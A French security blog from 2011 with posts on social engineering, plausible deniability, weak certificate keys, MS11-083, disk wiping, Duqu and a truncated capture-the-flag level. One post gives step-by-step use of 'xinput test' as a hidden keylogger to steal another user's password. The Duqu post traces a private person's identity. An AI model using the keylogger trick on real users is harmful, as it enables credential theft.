samedi 31 décembre 2011

Petit conte de fin d'année, mais histoire vraie quand même.

En cette période de fin d'année, je propose un petit conte qui sort de l'informatique et de la sécurité, ou pas.

L'histoire qui suit se passe il y a quelques années et aucun nom ne sera cité.
Or donc, il existait un centre commercial comme il en existe tant, avec, dans la galerie une bijouterie. Cette bijouterie se présentait en forme de L. La barre principale était ouverte sur la galerie, agrémentée d'une caisse en son milieu, et la barre du bas, au fond, avait un second comptoir, réservé aux réparations.

   +-----+
G      V |
A        |      V: victime
L        |      C: caisse principale
E   C    |      R: comptoir de réparation
R        |
I        `-----+
E             R|
              R|
   +-----------+    

Le week-end avant les fêtes, une foule importante se pressait dans la galerie marchande et dans la bijouterie. Comme cela se fait souvent, pour absorber ce surplus de clientèle, quelques intérimaires aidaient à la vente. Ils étaient habillés sobrement, d'une chemise blanche et d'un pantalon noir.
Sur ces entrefaits, aidé d'un complice, je me suis glissé vers le haut du magasin, habillé également d'une chemise blanche et d'un pantalon noir, couvert par un pull. J'ai rapidement repéré une cliente ayant en main un bon de réparation de bijou. Prestement défait de mon pull, je l'aborde en lui demandant si je peux l'aider. Discussion, vérification que son bon de réparation avait été payé, et je la laisse sur place en consultation des nouvelles collection de nouvel an. Je remet le pull et arrive au comptoir du fond pour récupérer le bijou.
Le bijou m'a été donné sur présentation et vérification du bon, et j'ai pu partir discrètement de la bijouterie par le côté opposé à la victime. Du fait de la foule, la cliente ne m'a pas vu partir, et les vendeurs légitimes n'ont pas vu la manipulation.
J'étais donc hors de la bijouterie un splendide collier orné d'un rubis dans la poche.
[Petite précision pour ceux qui s'en inquiéteraient: mon honnêteté n'ayant pas de limite, je suis retourné dans la bijouterie pour rendre le collier à sa propriétaire, c'est donc une histoire morale qui finit bien :-) ]

Etant sur un blog de sécurité informatique, que peut on dire?
  • J'ai joué le rôle d'un proxy malveillant entre un client et un serveur pour intercepter des données d'authentification. 
  • La surcharge de fin d'année a empêché la détection du "rogue proxy" (si vous ne pouvez effacer vos logs, noyez les!)
  • Le client n'a pas pensé à authentifier le serveur. Pensez http"S"! ou typosquatting. Un peu de social engineering a suffit.
  • Enfin, le véritable serveur a fait confiance uniquement au cookie d'authentification (le bon de réparation). Une double authentification aurait été préférable: bon de réparation+authent via CNI par exemple, il était évident qu'un bon intitulé à un prénom de consonance féminine aurait du éveiller un soupçon. Le cookie d'authent pour entrer et faire des opérations (demander l'état de réparation du bijou) mais une seconde authentification pour la remise du payload reste une option intéressante.
  • L'extrusion du payload fût caché dans un paquet de données standard: moi, un client lambda avec un pull gris qui n'éveillait aucune suspicion ou regard de la part des vendeurs légitimes. Pour extraire des données, chiffrez les (flux SSL)!
Sur ce, bonne année, et happy hacking! (et n'allez pas dans les bijouteries faire des bêtises!)

EDIT: Christophe Pradier (RSSI de l'hôpital de Valenciennes) a traduit ce conte en anglais sur son blog!

mercredi 14 décembre 2011

dm-steg : la plausible deniability sous linux, ou pas.

Un lecteur du blog m'a fait suivre un message de la mailing list dm-crypt: http://permalink.gmane.org/gmane.linux.kernel.device-mapper.dm-crypt/5543. L'auteur, Samulis Leopold propose un module noyau et les outils associés proposant un nouveau mode de chiffrement. Ce projet s'appelle DM-steg et la documentation est disponible. Les sources sont composées d'un patch noyau (pour le 3.2) et des outils.

1/ Quels sont les points positifs de DM-steg?
Tout d'abord, les performances de DM-steg ont été mesurées en regard d'un RAM disk, et elles sont honorables (partie 6 Benchmarks du .pdf de doc).
Je ne m'étendrai pas sur les différents modes de chiffrements. L'auteur s'est basé sur de l'existant (un openssl récent > 1.1 doit être utilisé pour pouvoir compiler le projet).

Le point clé du projet réside dans la mobilité des données sur le disque.
Le disque est tout d'abord découpé en parties équivalentes, les blocs. Deux blocs vont jouer un rôle particulier. La taille totale de l'espace est amputée de deux blocs: le premier sert d'en-tête, le second de zone temporaire.Au cours de l'emploi du disque, les données des blocs vont être déplacées sur l'ensemble de l'espace du disque de manière aléatoire. Le bloc temporaire sert à stocker les données pendant le déplacement. Ainsi, un attaquant qui n'aurait accès qu'a la version chiffrée du disque verrait des réécritures sur tout le disque, ne pouvant ainsi absolument rien déduire sur l'usage de ce disque.

Et puis l'auteur indique "no crash" ce qui est rassurant :-)

Et DM-steg est particulièrement intéressant car il propose par défaut de la plausible deniability.
J'ai déjà blogué sur la plausible deniability faite par truecrypt pour en conclure que la méthode n'est pas satisfaisante.
Petit résumé: Pour truecrypt le disque caché est situé vers la fin du disque. Un attaquant en possession de plusieurs versions du disque au cours du temps et qui verrait des données être modifiées à cet endroit alors qu'elles ne correspondent à aucun fichier sur le disque normal pourrait donc vraisemblablement intuiter qu'un disque caché est présent.

2/ La plausible deniability par DM-steg

Etudions la partie deniable plausability. Tout d'abord, sur la possession de ce programme, ensuite sur les containers imbriqués, et enfin sur les attaques réalisables par un attaquant.

La possession de ce programme est sans doute un piège en soi. Si je suis un attaquant et que je vois un utilisateur avec DM-steg, je vais immédiatement le soupçonner de cacher des données. On peut considérer cela comme un faux problème puisque le jour ou DM-steg sera inclus dans les sources officielles du noyau linux et dans les distributions linux sa possession ne sera plus compromettante.

DM-steg permet d'utiliser un disque avec plusieurs mots de passes. Chaque mot de passe donne accès à une vue différente du code déchiffré. Il est possible d'avoir donc un nombre illimité de conteneur cachés (si ce n'est la taille du disque), au contraire de Truecrypt qui ne propose qu'un disque normal contenant un disque caché.

Après discussion avec l'auteur par mail, il m'indique qu'il préfère la méthode de conteneur imbriqué sans limite. Les arguments sont inversibles avec ceux de Truecrypt. Truecrypt dit qu'en cas de gros problème, il est toujours possible de donner les deux mots de passe, prouvant donc que plus rien n'est caché (si on vous tape dessus pour obtenir les mots de passe, cela peut être la solution la moins pire), et DM-steg dit précisément l'inverse, que l'attaquant arrêtera forcément au 'n-ième' mot de passe, à vous de cacher la donnée dans un conteneur n+1. Je n'ai pas d'avis tranché à ce sujet.

Le mode de dispersion des données de DM-steg empêche un attaquant de différencier plusieurs versions du disque pour détecter quels sont les octets qui bougent, et si le cas échéant des octets vers la fin du disque bougent sans lien avec les données présentes. Il semble donc que c'est un excellent moyen pour faire de la plausible deniability. Mais il y a encore deux points qui ne sont pas réglés:
  • Les données sont éparpillées sur le disque (mettons /dev/sda1). Donc un attaquant avec plusieurs copies de /dev/sda1 n'a aucune information. Mais la plausible deniability dit que l'attaquant peut posséder le mot de passe du container principal. Et donc l'attaquant peut monter les disques avec DM-steg. Et il aura accès aux données sous /dev/mapper/steg1. Et là, les données deviennent "linéarisées" et non plus "éparpillées". L'attaquant peut donc étudier les modifications entre deux versions de /dev/mapper/steg1 et ainsi détecter des modifications illégitimes de manire analogue avec l'attaque sur truecrypt.
  • Aucune limitation sur le filesystem employé n'est faite. Ainsi, si un utilisateur crée un container principal formaté en ext3 et un container caché sur les 100 derniers Mo du disque, alors un attaquant à l'aide du mot de passe du premier container pourra consulter tous les superblocks d'ext3 sur le container principal. Les superblocks des 100 derniers Mo seront illisibles puisqu'écrasés par le container caché. Une fois de plus sa présence est révélée. On peut utiliser du FAT, mais l'emploi de FAT dans une distribution linux est suspicieux en soi.
  • Or donc la plausible deniability n'est pas garantie. 
3/ One more step to infinity
Le fait d'éparpiller les données chiffrées sur le disque est donc un premier pas très intéressant. Un attaquant a donc l'obligation impérative d'avoir le premier mot de passe pour attaquer la plausible deniability, ce qui n'était pas le cas auparavant.
Nous avons aujourd'hui de plus en plus de disques SSD ou la localisation des données n'a plus aucune importance en terme de performances. L'usage de DM-steg pourrait donc rivaliser avec dm-crypt. Néanmoins, on cherche encore une vraie méthode de plausible deniability pérenne et fiable dans le temps.

mardi 29 novembre 2011

Linux Magazine 144 - Compiler son noyau linux

Le numéro 144 de Linux Magazine est sorti. J'ai écrit un article expliquant la manière de compiler un noyau linux.

Citation de circonstance:

jeudi 24 novembre 2011

Sécurité SSL et certificat malais compromis

Le marronnier actuel de la sécurité concerne SSL. Sur le papier, SSL, c'est très bien. Cela permet d'augmenter la sécurité de manière peu intrusive pour l'utilisateur. Dans les faits, l'implémentation laisse à désirer. NewsOft a déjà expliqué ça très bien dans un message de blog il y a quelque temps.

Le dernier évènement concerne un virus possédant du code signé par un certificat Malais valide. On peut imaginer que la clé privée a été volée, comme cela a été le cas pour les drivers signés de Stuxnet, mais une autre hypothèse émerge, sans doute plus plausible.

La Malaisie possède plusieurs sites gouvernementaux en .gov.my. Certains sont sécurisés en SSL. Un certificat signé par une autorité reconnue leur a donc été généré.
C'est un de ces certificats qui a été utilisé pour signer le code d'un virus, explication de l'attaque.

Si vous volez une clé privée associée à un certificat, alors il est possible de profiter de la confiance relative à ce certificat. Il se trouve que des certificats de serveurs webs en malaisie avait en utilisation de la clé l'autorisation de signature de code (premier problème). Dans une optique de moindre privilège, il est inutile de donner à un certificat authentifiant un site web une autorisation de signature de code! Si le pirate a la clé privée de ce certificat, alors il peut signer du code avec la confiance de ce certificat.

Si un pirate n'a pas la clé privée, il peut essayer de la calculer. Une clé RSA768 bits a été cassée en plus de deux ans et demis de calculs. Les docs de l'ANSSI recommandent des clés supérieures à 1536 bits (chercher "Niveau standard").
Dans le cas du certificat malais, la clé ne faisait que 512 bits, et c'est le second problème! On peut donc dire que sa factorisation est possible en un temps relativement court. [A ce sujet, je n'ai pas trouvé de bench précis sur ce point. Si quelqu'un a des valeurs chiffrées, je prends.]. [1]

Donc un autre scénario que le vol de clé privée se dessine: Un pirate scanne internet [2] à la recherche de certificats exhibant une clé faible et des privilèges de signature de code, casse la clé privée et l'utilise pour signer son code offensif. Aucune intrusion chez le possesseur de la clé est nécessaire. HeadShot.

Nous savons que des CA sont à éviter, il faudrait désormais un mécanisme permettant de surveiller les certificats exhibant des particularités "faibles". Typiquement un certificat signé avec une clé de 512 bits ne doit pas être de confiance indépendamment de la validité de sa signature par une CA.


Note:
[1] Si quelqu'un sait casser une clé avant le 16 décembre, il peut profiter d'un certificat SSL valide! Le prendre ici. 512 bits de clé. Chrome refuse le téléchargement de la page pour cause de révocation, by the way.

[2] Ce travail de scan des sites HTTPS est effectué en tâche de fond par l'EFF, sans doute les pirates ont ils profité de ces bases?

jeudi 10 novembre 2011

Remote code execution sur pile IP - CVE-2011-2013 - MS-2011-83

Mon flux RSS m'a remonté hier une vulnérabilité intéressante, MS-2011-83.
L'attaque est dévastatrice: remote code execution sur pile IP. Cela signifie qu'il suffit qu'une machine windows soit connectée sur un réseau, quels que soient es services en écoute (voire aucun), pour qu'un attaquant puisse en prendre le contrôle. C'est donc le plus haut niveau de gravité possible.

J'avais commencé à écrire un post de blog en faisant référence à mon message "TCP/IP security is boring" en indiquant le peu d’intérêt de la communauté de sécurité pour ce genre d'exploits. Mais au fur et à mesure de l'écriture du message, j'ai vu à ma bonne surprise mes fils d'actualités se remplir concernant cette faille.

Les informations techniques sur cette faille sont maigres. Le bulletin microsoft est comme d'habitude sibyllin.

  • Nous déduisons tout d'abord que seule la nouvelle pile IP est vulnérable du fait des systèmes impactés, à partir de Vista. Ce bulletin remplace le MS-2011-64, qui était lui aussi lié à un flot continu de paquets, mais ICMP.
  • Aucun Proof of Concept n'est disponible sur internet.
  • Le port UDP n'a pas à être en écoute Microsoft parle de "closed port". Ceci à du sens, contrairement à ce que j'ai pu lire. Lorsqu'un paquet est reçu du réseau, un certain nombre de vérifications doivent être faites, menant éventuellement à son rejet. Ce paquet est donc copié en mémoire, puis analysé. Donc envoyer un (ou des) paquet(s) sur un port fermé conduit donc à l’exécution de plusieurs parties de code du système, dont l'une au moins semble vulnérable.
  • Les paquets UDP ne sont pas aléatoires. Le bulletin indique "specially crafted", mais ne précise pas comment (ce qui est compréhensible).
  • L'exploitation de la faille est indiquée comme non triviale, mais possible, exploitability index de 2.
Un honeypot a été démarré, peut-être quelque chose en sortira, mais j'en doute.

Quelques informations ont émergées de mes flux, notamment celle-ci:
http://www.twitlonger.com/show/e30d0n qui de plus fait référence à des paquets ICMP, et donc le précédent bulletin remplacé. Une piste? Le bulletin MS2011-64 était lié à des paquets ICMP entrants, le twitlonger fait référence à des paquets ICMP sortants, dûs à des paquets UDP envoyés à des ports fermés. Cela semble plausible.

Edit: L'auteur du twitlonger ci-dessus semble arriver à crasher windows:
http://twitter.com/#!/_fel1x/status/134392807816306688. Il "suffit" d'envoyer 2^32 paquets UDP via un simple nmap -sU pour avoir un déclencheur de cette faille. Bon, 2^32 paquets, ça semble un peu beaucoup tout de même. Calcul à la louche. Imaginons une carte 100Mbit/s, et un paquet UDP de 160 octets.

(160x2³2)/100x10^6 = 6871 s, soit un peu plus de 2h de bombardement UDP continu au minimum...

samedi 29 octobre 2011

Protéger ses données personnelles?

Actuellement, si vous ne payez pas quelque chose, c'est que vous n'êtes pas le client, vous êtes le produit vendu. Le droit d'entrée sur facebook est gratuit, mais vos données personnelles sont revendues.
Une initiative comme celle de Max Schrems est très intéressante. Il a demandé et obtenu l'intégralité des informations qu'a enregistré facebook sur lui-même. Résultat: plus de 1200 pages d'informations, dont certaines qu'il ne soupçonnait même pas (!)

Tout un chacun veut protéger sa vie privée, mais est prêt à l'exposer sur son mur. Quelques uns ont fait les frais de ces mises à nu (Marc.L par exemple) et se méfient sans doute un peu plus, mais la majorité s'en soucie guère.

Plusieurs raisons peuvent peut-être expliquer cela. D'un côté il y a un avantage immédiat (ou supposé tel) d'augmenter sa visibilité dans le monde virtuel (réseau professionnel, amis, etc..): j'ai mis mon CV sur linkedin, j'ai un poste, je suis invité aux soirées, etc... A l'opposé les risques de cette exposition sont bien plus incertains, beaucoup moins bien exprimés et clairement plus lointains.

La protection est de plus contraignante, et n'est pas non plus suffisamment motivante en regard du bénéfice attendu de la diffusion de ses données personnelles.

Je pense que la protection des données par non diffusion de celles-ci ne fonctionnera pas; mais que se passerait il si on inversait la position du possesseur de la donnée? C'est à dire faire un opendata personnel.
C'est ma donnée, je veux avoir tout d'abord le droit d'accès et d'utilisation: un genre de google personnalisé sur tous ces sites. Quel agrégation puis-je faire des enregistrements de mon téléphone portable sur les différentes bornes par exemple? Est ce que je peux récupérer toutes les images me montrant sur les caméras de vidéo surveillance? Ensuite, il devrait exister un droit de suppression de n'importe quel donnée. Enfin, mais c'est un voeu pieux, les outils de datamining utilisés pour le profiling devraient être publics. Je pense que si les gens deviennent capables d'ordonner et trier leurs données aussi bien que ces entreprises tierces, ils pourront d'une part en tirer un bénéfice[1], et d'autre part mieux surveiller l'usage qui en sera fait.

La sécurité des données personnelles en sera d'autant plus élevée. Cela n'est qu'un avis personnel, bien sûr.

[1] je cherche un outil capable d'analyser mes déplacements urbains par exemple.

vendredi 28 octobre 2011

La destruction de données sur disque

Il est courant de lire sur internet des déclarations sur le nombre de passes nécessaires à faire sur un disque pour nettoyer les données inscrites dessus. On retrouve les chiffres de 3,5,7 ou 35 passes avec des motifs différents, et le nom de Gutmann est généralement cité. L'étude de Gutmann date de 1996, ce qui est ancien.

1/ Le problème de l'effacement de données.
Lorsque l'on efface un fichier, il est rare que le fichier soit effectivement effacé du disque. Seule la référence vers ce fichier est effacée. Des outils permettent de récupérer des fichiers effacés par erreur (ma préférence va a photorec qui est très efficace).

2/ L'écrasement de données.
La solution pour supprimer une donnée d'un disque consiste alors à l'écraser par une autre. Les outils de récupération ne liront que la nouvelle donnée, et non l'ancienne, recouverte. A ce titre, l'avertissement de photorec est très clair: "Sitôt que manque à l'appel une photo ou un fichier ou que vous les avez détruits par erreur, cessez d'enregistrer toute autre photo ou fichier sur le disque dur ou la carte mémoire concerné; autrement vous risqueriez d'écraser les données perdues".
Néanmoins, Gutmann indique dans son étude que ce n'est pas toujours le cas.

Il s’appuie pour cela d'imageries au microscope électronique de disques dur pour montrer que les enregistrements successifs des bits sur les plateaux ne sont pas parfaits. Ainsi les enregistrements 'bavent' un peu, et il est possible de retrouver l'ancien bit après réécriture. L'hypothèse est jugée crédible en 1996.

La solution de Gutmann: 7 passes semblent trop peu, il préconsise donc 35 passes de réécriture de motifs différents afin de pouvoir éviter cette relecture.

3/ Alors on fait 35 passes
En fait, depuis le papier de Gutmann, il s'est passé beaucoup de temps. Son analyse portait sur des anciens disques, avec d'anciens modes d'écriture de données (MFM, RLL pour ceux qui s'en souviennent ça précède l'IDE).

Gutmann a updaté de nombreuses fois son article pour indiquer que les technologies évoluent (Epilogue, puis Further Epilogue, et enfin Even Further Epilogue). On peut y lire dans l'épilogue:
"In fact performing the full 35-pass overwrite is pointless for any drive since it targets a blend of scenarios involving all types of (normally-used) encoding technology, which covers everything back to 30+-year-old MFM methods"
Le further epilogue re-précise entre autre:
"even if you reproduced it, you'd just have done something with technology that hasn't been used for ten years"
Et enfin, dans l'Even Further Epilogue: "Flash memory barely existed at the time it was written, and SSDs didn't exist at all. (...) SSDs are a totally different technology than magnetic media, and require totally different deletion techniques. In particular you need to be able to bypass the flash translation layer and directly clear the flash blocks. In the absence of this ability, the best you can hope to do is thrash the wear-levelling to the point where as much of the data as possible gets overwritten, but you can't rely on any given piece of data being replaced, which means that an attacker who can bypass the translation layer can recover the original data."

4/ Mais que faire?
D'emblée, il est inutile de faire ces fameuses 35 passes. Faut il en faire alors 7 ou 5 ou 3?
Je préconise une seule passe avec dd if=/dev/urandom of=... , cela étant bien suffisant pour mes disques magnétiques.

La page http://en.wikipedia.org/wiki/Data_remanence (remplie de très bons liens) indique "On the other hand, according to the 2006 NIST Special Publication 800-88 (p. 7): "Studies have shown that most of today’s media can be effectively cleared by one overwrite" and "for ATA disk drives manufactured after 2001 (over 15 GB) the terms clearing and purging have converged." An analysis by Wright et al. of recovery techniques, including magnetic force microscopy, also concludes that a single wipe is all that is required for modern drives. They point out that the long time required for multiple wipes "has created a situation where many organisations ignore the issue all together – resulting in data leaks and loss. "

Quoi qu'il en soit, c'est toujours un sujet propre au FUD car il n'existe que peu de publications à ce sujet, et la plupart d'entre elles reprennent l'article de Gutmann sans vraiment l'avoir lu (genre, faites 35 passes avec shred pour effacer un fichier sur clé USB. Ouch.).

Concernant les SSD, c'est effectivement différent. Je cite http://nvsl.ucsd.edu/sanitize/ qui dit: "Our results show that naïvely applying techniques designed for sanitizing hard drives on SSDs, such as overwriting and using built-in secure erase commands is unreliable and sometimes results in all the data remaining intact."

Alors, oui on ne sait pas de quoi sont capables les organisations à grandes oreilles, oui, on a très peu de papiers techniques sur ce sujet, mais non, arrêtez de faire 35 passes sur ces pauvres disques :-)
Par contre, si vous êtes administrateur et que vous voulez vous couvrir auprès d'une autorité, alors détruisez les disques cela évite de se poser trop de questions.

jeudi 27 octobre 2011

Mars Avril 2003 - MISC N°6

En rangeant un placard je suis retombé sur un vieux numéro de MISC:
que je n'ai pu m'empêcher de refeuilleter. Alors, avec une vision d'octobre 2011, comment était la sécurité en mars/avril 2003? Différente? Totalement dépassée?


L'édito parle d'une nouvelle conférence de sécurité :-) et fait un appel à papier à ce sujet.

Le premier article parle de cyber-terrorisme. Sujet éminemment à la mode depuis stuxnet aujourd'hui. Il est bien entendu fait mention des liens entre les réseaux informatiques et les infrastructures du monde réel. Un historique du cyberterrorisme remonte jusqu'en 1996. [ On y retrouve des délicieux termes obsolètes comme "mail bombing" ou des valeurs chiffrées: "engorgé les serveurs avec environ 800 mails par jour" (c'était en 1998).  ]
La conclusion est titrée L'AVENIR. Alors? Le risque viendra des vers, qui se répliqueront de plus en plus vite (quelques secondes) sans laisser de temps à l'administrateur de réagir. Le second risque viendra des vers capables de se mettre à jour de manière autonome et de chercher des instructions sur des canaux IRC en étant plus discrets. Les vers les plus violents utiliseront des 0day (même si le mot n'est pas employé en tant que tel).

Le second article traite de l'aléa. La conclusion indique que lors de l'utilisation d'un système cryptographique, la vérification de la qualité du générateur aléatoire doit être effectuée sous peine de surprises.

Le troisième article explique le fonctionnement d'un virus de boot, appelé STEALTH.

La partie principale est dédiée au Wifi. Première partie, présentation. Bon, tout le monde connaît aujourd'hui. L'article finit en indiquant une adoption rapide du wifi aux USA et qui arrive en france. Nous sommes en2003. La seconde partie explique les principes de la norme  802.11 (caractéristiques physiques, logiques, format de trames, etc..). Le WEP est évoqué en signalant que les problèmes de sécurité sont pour les autres articles :-). La troisième partie parle des attaques réseaux sur 802.11b. Le wireless, c'est bien, mais cela revient à un attaquant d'avoir accès au média. Donc découverte de réseau, DOS, bruteforce de clé, rogue AP, et j'en passe, je cite: "De quoi faire devenir fou et/ou paranoïaque n'importe quel RSSI un peu tatillon" :-). Quatrième partie, la sécurité du WEP. Les noms de Fluhrer, Mantin et Shamir sont cités abondamment. Pour récupérer une clé à l'époque: 5 à 6 millions de trames sont nécessaires (aujourd'hui, on fait mieux). A l'époque, pas d'aircrack :-) LA cinquième et dernière partie parle des autres technos sans fils: bluetooth, hiperlan. Ceci dit, on trouve dans l'article un paragraphe qui parle du wifi, et enfin du WPA! (La norme a été terminée en 2004). Ce qui signifie qu'à cette époque on pouvait réellement parler d'insécurité du wifi: les attaques (théoriques) existaient mais les technos se déployaient.

Retour au quatrième article sur un mode de communication userland/kernelland sous linux: kernsh. Il est aujourd'hui connu sous le nom d'ERESI.

Cinquième article, plus tourné "cookbook" expliquant comment sécuriser son serveur FreeBSD, version 4.7

Ensuite une fiche pratique du CLUSIF, qui rejoint le thème du dossier. Les menaces, enjeux, parades des réseaux sans fils.

Le sixième article parle d'IPv6. En 2003, morceaux choisis: "le réseau internet IPv6 est encore très laxiste au niveau de la sécurité" et "L'expérience et l'histoire prouvent que des erreurs de programmation sont sans cesse refaites et les failles réintroduites dans les nouveaux développements"

Le septième article explique les problématiques de timing attack, et l'applique (entre autre) à RSA.

[ Pour la petite histoire, les deux dernières pages font de la publicité pour un magasin d'informatique. A l'époque, une clé USB 16Mo (si, si) fait 24euro90 et une clé de 512 en faisait 239,90 (!) ]

La sécurité d'il y a 8 ans est elle vraiment différente de celle d'aujourd'hui?

mercredi 26 octobre 2011

Casser le schéma de sécurité d'un portable chiffré

Imaginons un RSSI consciencieux qui décide de chiffrer sa flotte d'ordinateurs portables afin d'éviter la fuite d'information en cas de perte ou de vol, ou de malveillance interne.
Il décide de renforcer la sécurité des machines:

  • Le système installé est linux, dupliqué sur tous les portables.
  • Un firewall est configuré à l'aide d'iptables et ce firewall est indispensable à la sécurité de la machine.
  • Il a lu mon article concernant le faux sentiment de sécurité lié au chiffrement de disque et utilise une puce TPM pour garantir l'intégrité de la chaîne de démarrage.
Et pourtant, il est possible de casser ce schéma de sécurité. Vous êtes un pentesteur (par exemple), et vous voulez accéder à la machine d'un tiers. Vous avez temporairement un accès à cette machine, comment faire?

1/ Tout d'abord, inutile d'essayer de casser le code de déchiffrement par force brute. On considère que les utilisateurs ont eu une bonne formation et que le mot de passe de déchiffrement est solide.

2/ Inutile de vouloir casser le chiffrement lui même. C'est de l'AES, et vous n'êtes pas Mr Filiol

3/ L'utilisateur éteint toujours son portable lorsqu'il le quitte. Impossible de lancer une attaque cold-boot.

4/ Essayer de modifier le noyau ou l'initrd du démarrage afin qu'il enregistre le mot de passe entré ne mène à rien: la puce TPM permet de vérifier les métriques du boot et le déchiffrement de la racine n'aboutira pas, provoquant immédiatement une réaction de l'utilisateur.

5/ Changer le portable complet (le chassis) par un autre dont le rôle est de ressembler au portable dans la phase de demande de clé de déchiffrement pour l'envoyer immédiatement par le réseau ne fonctionne pas non plus, le RSSI à pensé à les marquer afin d'éviter les échanges malheureux. Ceci dit, il est toujours possible de changer le disque et de jouer cette méthode, mais le possesseur du portable comprendra immédiatement qu'il y a un problème et pourra prendre des actions correctives. Vous souhaitez accéder à de l'information, vous ne voulez pas que cet accès soit découvert.

6/ Une attaque réseau n'aboutit pas non plus. Le firewall iptables est trop bien configuré pour cela.

7/ Les autres attaques physiques sont considérées comme hors de propos pour cet exemple :-)

Solution après le saut.

mardi 25 octobre 2011

Heureusement, sous linux on a pas de virus (kernel.org)

On connaît la chanson: sous linux (comme sous mac) on a pas de virus, etc, etc... et les windowsiens sont réduits à devoir utiliser des antivirus car ce système est moins bien construit.
Ce genre d'arguments était peut-être vrai à l'époque des win9x (pas de droits sur les fichiers par exemple), mais de moins en moins sur les windows modernes.

Suite à des intrusions réussies sur windows on lit des commentaires généralement outrés sur l'absence d'antivirus.
Dans les forums, lors d'une suspicion de compromission on lit toujours "passe un coup d'antivirus pour voir" ce qui déclenche les rires des linuxiens qui eux, savent bien que les virus, ça n'existe pas chez eux.

Et puis kernel.org s'est fait compromettre. Et le premier second commentaire sur la lkml indique: "Install the chkrootkit package from your distro". Air connu. Pour ceux qui se souviennent de zf05, on avait pu lire le .bash_history de Kevin Mitnick. Très régulièrement revient l'usage de rkhunter, ce qui semble un réflexe plutôt sain :-)
On retrouve donc une grande similitude avec les utilisateurs de windows:
  • Anonymous Victim: Est-ce que je suis infecté?
  • The crowd: Bah passe un coup d'anti-[virus|rootkit] et tiens nous au courant.
Si j'étais éditeur d'antivirus, je lancerai vite un anti-rootkit linux, je pense qu'il y a un marché à prendre. Ça n'empêchera pas les zélotes linuxiens de clamer haut et fort que leur système est intrinsèquement plus sûr que windows, mais pour paraphraser un slogan connu, on pourrait dire: "Sous linux, on a pas de virus, mais on a des rootkits".

A ce sujet, le dernier passage d'un anti-rootkit sur votre linux date de quand?

lundi 24 octobre 2011

duqu: la piste hongroise?

Comme je l'ai annoncé, l'ensemble des articles de ce mois ont été écrits à l'avance. Cet article devait traiter des sommes MD5 et des recherches sur google, mais l'actualité me pousse a le modifier.

1/ MD5 et google
Tout le monde le sait, MD5 est une somme de hachage considérée comme cassée à l'heure actuelle. Toutefois, elle reste considérablement utilisée. La majorité des mots courants ont été hachés en MD5 et indexés par google, ainsi le hash de 310c12a8c02f635546af64ab5852d25d se reverse (quasi-)immédiatement. Pour cette raison, il est très fortement déconseillé de hacher des mots de passe sans sel. Néanmoins, le hash MD5 de certains fichiers sont eux-aussi indexés par google, permettant de cette manière de retracer leur historique.

2/ Les MD5 et duqu
nous avons beaucoup entendu parler de duqu ces derniers temps. La majorité de ce que j'ai pu lire semble finalement provenir de la même source, symantec. Comme d'habitude, on trouve:
-des répetitions ad nauseum du communiqué initial (d'où l'importance de le connaître)
-peu d'informations intéressantes et techniques
-quelques commentaires avisés qui replacent l'information initiale dans un contexte plus large
-des journalistes qui disent n'importe quoi.
Deux points m'ont interpellés. Le premier indiquant qu'il s'agissait du même code que stuxnet, le second que des infrastructures européennes étaient visées. Pour le code, je ne me prononcerai pas, mais pour l'Europe, on peut au moins trouver un pays visé.

J'ai donc effectué quelques recherches. Tout d'abord, nous connaissons les MD5 des fichiers utilisés par duqu. Les recherches sur ces MD5 à l'aide de google permettent de se rendre compte qu'un fichier à été soumis dès le 1er septembre à sunbelt security et fin septembre à virustotal.
Mais la recherche d'un MD5 sur une période donnée (du 1er janvier 2011 au 30 septembre 2011 pour éviter les parasites), montre un résultat curieux:
Un hongrois amateur de poisson en conserve (!). Les messages ont été supprimés, mais google cache permet de les consulter. L'auteur de ce blog cite nommément le hash MD5 d'un des fichiers de duqu en demandant de se mettre en contact avec lui. Un second message indique "nasty" et dit que le certificat a des problèmes (??!!). Cette personne semble directement liée à duqu, sans qu'on ne comprenne comment. Est il victime de duqu?
Sur le blog, pas de nom. Les messages et commentaires, supprimés. L'hébergeur, un hébergeur de blog comme il en existe des centaines. Difficile de savoir de qui il s'agit.

Il est temps de faire un peu de google-fu. Je retrouve donc le nom et le prénom de l'amateur de poisson. Il est hongrois (logique). Sa page facebook le montre sur un genre de plateforme industrielle: ça corrobore ce que dit symantec sur la cible européenne industrielle :-), sa page google+ également. Je lui ai envoyé un mail, pas de réponse (EDIT: toujours pas de réponse le 23/10). Dommage de ne pas pouvoir remonter un peu plus loin.

samedi 22 octobre 2011

keylogger linux, tips&trick - small post

Souvent on a besoin d'un keylogger pour pouvoir récupérer un mot de passe. Sous un linux installé de manière standard, il est possible d'activer un programme de debug jouant très facilement le rôle de keylogger. Drame en quatre actes.

Premier acte, lister les xinput:

kevin@slackware:~$ xinput list
⎡ Virtual core pointer   id=2 [master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer id=4 [slave  pointer  (2)]
⎜   ↳ USB Optical Mouse          id=8 [slave  pointer  (2)]
⎣ Virtual core keyboard          id=3 [master keyboard (2)]
    ↳ Virtual core XTEST keyboard id=5 [slave  keyboard (3)]
    ↳ Power Button                id=6 [slave  keyboard (3)]
    ↳ Power Button                id=7 [slave  keyboard (3)]
    ↳ Dell Dell QuietKey Keyboard id=9 [slave  keyboard (3)]


Deuxième acte, trouver le bon xinput attaché au clavier, nous pouvons tester avec le 5 et le 9 qui semblent de bons candidats:

kevin@slackware:~$ xinput test 5
  (frappes claviers... rien ne s'affiche)
^C
kevin@slackware:~$ xinput test 9
key release 36 
key press   24 
akey release 24 
key press   37 
key press   54 
^C
kevin@slackware:~$

C'est donc le xinput 9.

Troisième acte, ouvrir un xterm, taper xinput test 9, cacher le xterm quelque part, puis appeler quelqu'un a utiliser son poste et se débrouiller pour qu'il ait à taper son mot de passe à un moment ou à un autre.

Quatrième acte: Profit.

(EDIT: Merci A.K. pour les typo )

vendredi 21 octobre 2011

Challenge sur intruded - Level5

Ce niveau ressemble au niveau 3. Voici le code vulnérable:
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
        char buffer[100];
        int i;

